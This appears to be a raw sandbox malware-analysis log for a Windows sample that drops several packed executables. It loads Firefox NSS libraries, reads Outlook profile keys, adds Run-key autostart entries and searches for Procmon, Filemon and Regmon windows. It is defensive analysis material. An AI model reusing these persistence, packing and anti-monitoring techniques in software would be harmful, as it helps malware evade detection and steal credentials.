Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1786880 > 1048576

Source: file.exe

Static PE information: Raw size of adtgofcj is bigger than: 0x100000 < 0x19a000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1886279357.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1886279357.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;adtgofcj:EW;xgzatmop:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;adtgofcj:EW;xgzatmop:EW;.taggant:EW;
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Unpacked PE file: 19.2.EBFBKFBGII.exe.6e0000.0.unpack :EW;.rsrc:W;.idata :W;oxusnhxb:EW;orzkidtw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oxusnhxb:EW;orzkidtw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 20.2.skotes.exe.7f0000.0.unpack :EW;.rsrc:W;.idata :W;oxusnhxb:EW;orzkidtw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oxusnhxb:EW;orzkidtw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.7f0000.0.unpack :EW;.rsrc:W;.idata :W;oxusnhxb:EW;orzkidtw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oxusnhxb:EW;orzkidtw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Unpacked PE file: 27.2.bbbef9e2c3.exe.500000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xjzjhlyk:EW;hglpilhu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xjzjhlyk:EW;hglpilhu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Unpacked PE file: 28.2.2a79a10743.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;adtgofcj:EW;xgzatmop:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;adtgofcj:EW;xgzatmop:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Unpacked PE file: 33.2.bbbef9e2c3.exe.500000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xjzjhlyk:EW;hglpilhu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xjzjhlyk:EW;hglpilhu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: skotes.exe.19.dr	Static PE information: real checksum: 0x32de98 should be: 0x331e60
Source: bbbef9e2c3.exe.23.dr	Static PE information: real checksum: 0x1c8bb4 should be: 0x1d0bbe
Source: random[1].exe.23.dr	Static PE information: real checksum: 0x1c8bb4 should be: 0x1d0bbe
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x32de98 should be: 0x331e60
Source: EBFBKFBGII.exe.0.dr	Static PE information: real checksum: 0x32de98 should be: 0x331e60
Source: Ed7zZr4[1].exe.23.dr	Static PE information: real checksum: 0x0 should be: 0x41a065
Source: Ed7zZr4.exe.23.dr	Static PE information: real checksum: 0x0 should be: 0x41a065
Source: file.exe	Static PE information: real checksum: 0x1bd5be should be: 0x1b89e8
Source: random[1].exe0.23.dr	Static PE information: real checksum: 0x1bd5be should be: 0x1b89e8
Source: 2a79a10743.exe.23.dr	Static PE information: real checksum: 0x1bd5be should be: 0x1b89e8

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: adtgofcj
Source: file.exe	Static PE information: section name: xgzatmop
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: EBFBKFBGII.exe.0.dr	Static PE information: section name:
Source: EBFBKFBGII.exe.0.dr	Static PE information: section name: .idata
Source: EBFBKFBGII.exe.0.dr	Static PE information: section name: oxusnhxb
Source: EBFBKFBGII.exe.0.dr	Static PE information: section name: orzkidtw
Source: EBFBKFBGII.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: oxusnhxb
Source: random[1].exe.0.dr	Static PE information: section name: orzkidtw
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name: oxusnhxb
Source: skotes.exe.19.dr	Static PE information: section name: orzkidtw
Source: skotes.exe.19.dr	Static PE information: section name: .taggant
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: xjzjhlyk
Source: random[1].exe.23.dr	Static PE information: section name: hglpilhu
Source: random[1].exe.23.dr	Static PE information: section name: .taggant
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name:
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name: .idata
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name:
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name: xjzjhlyk
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name: hglpilhu
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: .idata
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: adtgofcj
Source: random[1].exe0.23.dr	Static PE information: section name: xgzatmop
Source: random[1].exe0.23.dr	Static PE information: section name: .taggant
Source: 2a79a10743.exe.23.dr	Static PE information: section name:
Source: 2a79a10743.exe.23.dr	Static PE information: section name: .idata
Source: 2a79a10743.exe.23.dr	Static PE information: section name:
Source: 2a79a10743.exe.23.dr	Static PE information: section name: adtgofcj
Source: 2a79a10743.exe.23.dr	Static PE information: section name: xgzatmop
Source: 2a79a10743.exe.23.dr	Static PE information: section name: .taggant
Source: Ed7zZr4[1].exe.23.dr	Static PE information: section name: .00cfg
Source: Ed7zZr4[1].exe.23.dr	Static PE information: section name: .gxfg
Source: Ed7zZr4[1].exe.23.dr	Static PE information: section name: .retplne
Source: Ed7zZr4[1].exe.23.dr	Static PE information: section name: _RDATA
Source: Ed7zZr4.exe.23.dr	Static PE information: section name: .00cfg
Source: Ed7zZr4.exe.23.dr	Static PE information: section name: .gxfg
Source: Ed7zZr4.exe.23.dr	Static PE information: section name: .retplne
Source: Ed7zZr4.exe.23.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_006FD91C push ecx; ret	19_2_006FD92F
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_006F1359 push es; ret	19_2_006F135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0080D91C push ecx; ret	20_2_0080D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0080D91C push ecx; ret	23_2_0080D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0080DFC6 push ecx; ret	23_2_0080DFD9

Source: file.exe	Static PE information: section name: adtgofcj entropy: 7.954452657279922
Source: EBFBKFBGII.exe.0.dr	Static PE information: section name: entropy: 7.070935450925447
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.070935450925447
Source: skotes.exe.19.dr	Static PE information: section name: entropy: 7.070935450925447
Source: random[1].exe.23.dr	Static PE information: section name: entropy: 7.9861973132523625
Source: random[1].exe.23.dr	Static PE information: section name: xjzjhlyk entropy: 7.9529745908059395
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name: entropy: 7.9861973132523625
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name: xjzjhlyk entropy: 7.9529745908059395
Source: random[1].exe0.23.dr	Static PE information: section name: adtgofcj entropy: 7.954452657279922
Source: 2a79a10743.exe.23.dr	Static PE information: section name: adtgofcj entropy: 7.954452657279922

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\EBFBKFBGII.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\EBFBKFBGII.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Ed7zZr4[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\EBFBKFBGII.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a79a10743.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bbbef9e2c3.exe			Jump to behavior

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
